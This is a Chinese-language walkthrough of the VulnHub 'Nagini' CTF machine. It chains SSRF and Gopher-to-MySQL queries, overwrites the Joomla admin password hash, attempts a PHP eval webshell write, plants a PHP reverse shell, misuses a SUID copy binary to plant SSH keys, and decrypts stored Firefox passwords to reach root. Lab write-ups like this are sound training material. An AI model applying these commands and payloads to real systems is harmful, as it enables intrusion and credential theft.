0x14-VulnHub靶机-Nagini

环境

靶机地址: https://download.vulnhub.com/harrypotter/Nagini.ova

难度:有点难

内容

  • SSRF (Gopher协议 + Mysql)
  • http3 (但我懒得搞)
  • 已知cms后台搜索法
  • SSH公钥登录 (传公钥到靶机上
  • 破解浏览器文件.mozilla 得到遗留密码

操作

信息收集

常规主机发现 端口扫描

然后80端口就是一张图片 没啥可以利用得

第一次目录扫描扫出 Joomla CMS 版本是最新的 常规方法试了没啥结果

image-20240318203027309

再扫joomla 还是发现很多东西的 但是没什么可以利用的

image-20240318203429466

用大字典继续扫

dirsearch -u http://192.168.3.131/ -w /home/maomao/桌面/lujing.txt -f -e txt,bak,sql,zip

bak 指的是备份文件

image-20240318204946381

发现个note.txt 给了两个提示

image-20240318205017153

修改hosts文件 然后用http3协议去访问 正常去访问看到的还是ip访问一样的内容

192.168.3.131   192.168.3.131   quic.nagini.hogwarts
image-20240318205845332

admin提示在本周之后就会去删除这个文件/internalResourceFeTcher.php,还有服务器上面有一些配置文件,这些配置文件是所有人都可以读取的 还提示有备份文件

joomal的配置文件:configuration.php

就去访问一下 提示给我们的路径

image-20240318210231428

SSRF

Welcome to Internal Network Resource Fetching Page 欢迎来到内网资源获取页面

这意味着我们可以访问到内网的资源 我们现在在外网 这就是ssrf 服务器端请求伪造

image-20240318213120853

但是用file协议你要知道绝对路径才可以去读东西 当然可以去访问一下默认的配置文件有没有啥东西

image-20240318213908927

这里提示其实是要你正常去访问他的备份 你去访问/joomla/configuration.php其实存在但是你看到内容 这上面我们用他这个ssrf去访问的

/joomla/configuration.php.bak就可以下载出来

 public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'goblin'; public $password = ''; public $db = 'joomla'; public $dbprefix = 'joomla_'; public $live_site = ''; public $secret = 'ILhwP6HTYKcN7qMh'; public 

这里发现了数据库的信息 而且没有密码 这里正愁不知道怎么突破外网了 这就送上来了

SSRF突破边界的方法就是用gopher协议 通过mysql redis 等服务写🐎进去

这里有数据库配置信息 我们用gopher协议判断是否开放了3306端口

image-20240318215722666

发现右上角一直跳动,那么后端是开放了3306端口的,只不过没有对外开放

利用gopher协议突破边界

利用gopher对mysql服务发送一些指令,读取数据库的信息,使用到一款工具Gopherus-master来进行生成向后端mysql发送指令的payload

直接写🐎

试图直接写个🐎进去 但是写不进去

select '<?php eval($_POST["cmd"]);?>' into outfile '/var/www/html/ssrf.php';

读数据库的东西

goblin

这里知道public $db = 'joomla'; 库名

use joomla;show tables; 用工具生成出来的还要url编码一下 (后面的那部分)

image-20240318222502023

发现个joomla_users

use joomla;select * from joomla_users ;

image-20240318223727508

直接你发现了 账号密码 但是这个密码是加密的 可以选择去进行解密,但是既然可以操作数据库,那么直接将site_admin的密码更换成mao(md5加密)

image-20240318225604859

use joomla;update joomla_users set password="3fe8ebd7f5996651fa46c4aefe24b6af" where username="site_admin";

更新完密码之后 去到那个登录界面 登入进后台

image-20240318225824712

joomla后台

直接去网上搜 joomal后台getshell https://blog.csdn.net/qq_42084004/article/details/118971341

去kali找一个反弹shell的🐎 位置在:/usr/share/webshells/php/php-reverse-shell.php

把🐎写到error.php 找到文件位置 然后去访问

image-20240319095240483
image-20240319095342466

提权

第一次

在snape用户下 发现第一个flag TG92ZUBsaWxseQ== base64解码是 Love@lilly 文件名 .creds.txt 信用 猜可能是密码

image-20240319095720814

用ssh去连接一下 root snape hermoine 就snape 用户成功登录了

image-20240319100220135

发现第一个flag

第二次

上传工具上去扫 发现有个suid 这个应该类似cp 并且其他用户可以执行

image-20240319101352429

那么思路就是将自己kali的公钥传输到目标中,使用su_cp命令,将公钥复制到hermoine的.ssh文件夹下,这样子kali就可以凭借公钥直接登录hermoine账号

生成kali的密钥对 ssh-keygen

image-20240319112408470

使用scp将公钥传输到snape账号的主目录下

scp id_rsa.pub snape@192.168.3.131:~/

改名为authorized_keys

mv id_rsa.pub authorized_keys

使用su_cp将公钥拷贝到hermoine的.ssh目录下(**给公钥640权限 ** //这里正是因为su_cp有suid权限 如果没这权限 移动不了

/home/hermoine/bin/su_cp authorized_keys /home/hermoine/.ssh

image-20240319110401146

然后kali连接 (密钥对连接 ) 指定文件 -i 去连接

这里要注意 kali要用 root权限去连接

image-20240319103419864

注意 这里私钥的权限不要给大了 要给 600

image-20240319113043153

第三次

这里用到了个没学过的方法 (破解浏览器的遗留密码 然后尝试登入root )

在hermoine的主目录下有.mozilla的隐藏文件

.mozilla是linux使用firefox浏览器所生成的文件,里面有使用firefox浏览器下的拓展、安装等信息,还有记住的某些web系统的账号密码

使用scp将.mozilla传输到kali,使用一款针对firefox浏览器账号密码还原的工具firefox_decrypt

工具地址:https://github.com/unode/firefox_decrypt

scp -rp hermoine@192.168.3.131:~/.mozilla /tmp

image-20240319111419495
image-20240319113405737
image-20240319113634471

python3 firefox_decrypt.py /tmp/.mozilla/firefox

发现个root密码

image-20240319113915776

尝试去ssh 连接root

image-20240319113952455